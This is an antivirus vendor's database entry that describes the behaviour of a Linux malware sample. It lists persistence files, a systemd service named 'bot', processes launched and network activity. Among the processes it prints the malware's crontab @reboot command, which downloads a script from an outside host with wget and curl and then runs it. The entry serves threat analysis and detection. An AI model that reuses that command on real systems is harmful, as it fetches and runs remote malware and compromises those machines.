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Linux.Siggen.6775

Added to the Dr.Web virus database: 2024-03-18

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /var/spool/cron/crontabs/root
  • /etc/init.d/job
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • /bin/bash
Manages services:
  • ['/bin/systemctl', 'enable', 'bot']
Launches processes:
  • sh bins.sh
  • crontab -
  • chmod +x bins.sh
  • /bin/systemctl enable bot
  • crontab -l
  • (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh\x22\x22) | crontab -
Performs operations with the file system:
Modifies file access rights:
  • /var/spool/cron/crontabs/tmp.nBtcwk
  • /etc/init.d/job
Deletes folders:
  • /tmp/clearsigned.message.wLJMmX
  • /tmp/clearsigned.message.RBJLWQ
  • /tmp/clearsigned.message.xU2XcU
  • /tmp/clearsigned.message.VUNbnh
Creates or modifies files:
  • /self
  • /proc/491/cmdline
  • /dev/full
  • /var/spool/cron/crontabs/tmp.nBtcwk
  • /etc/init/bot.conf
  • /root/.bashrc
  • /usr/lib/systemd/system/bot.service
  • /etc/systemd/system/job.service
Deletes files:
  • /tmp/clearsigned.message.wLJMmX
  • /tmp/clearsigned.message.RBJLWQ
  • /tmp/clearsigned.message.xU2XcU
  • /tmp/clearsigned.message.VUNbnh
Changes time of creation/access/modification of files:
  • /var/spool/cron/crontabs
Network activity:
Awaits incoming connections on ports:
  • 127.0.0.1:8345
Establishes connection:
  • 8.#.8.8:53

Curing recommendations


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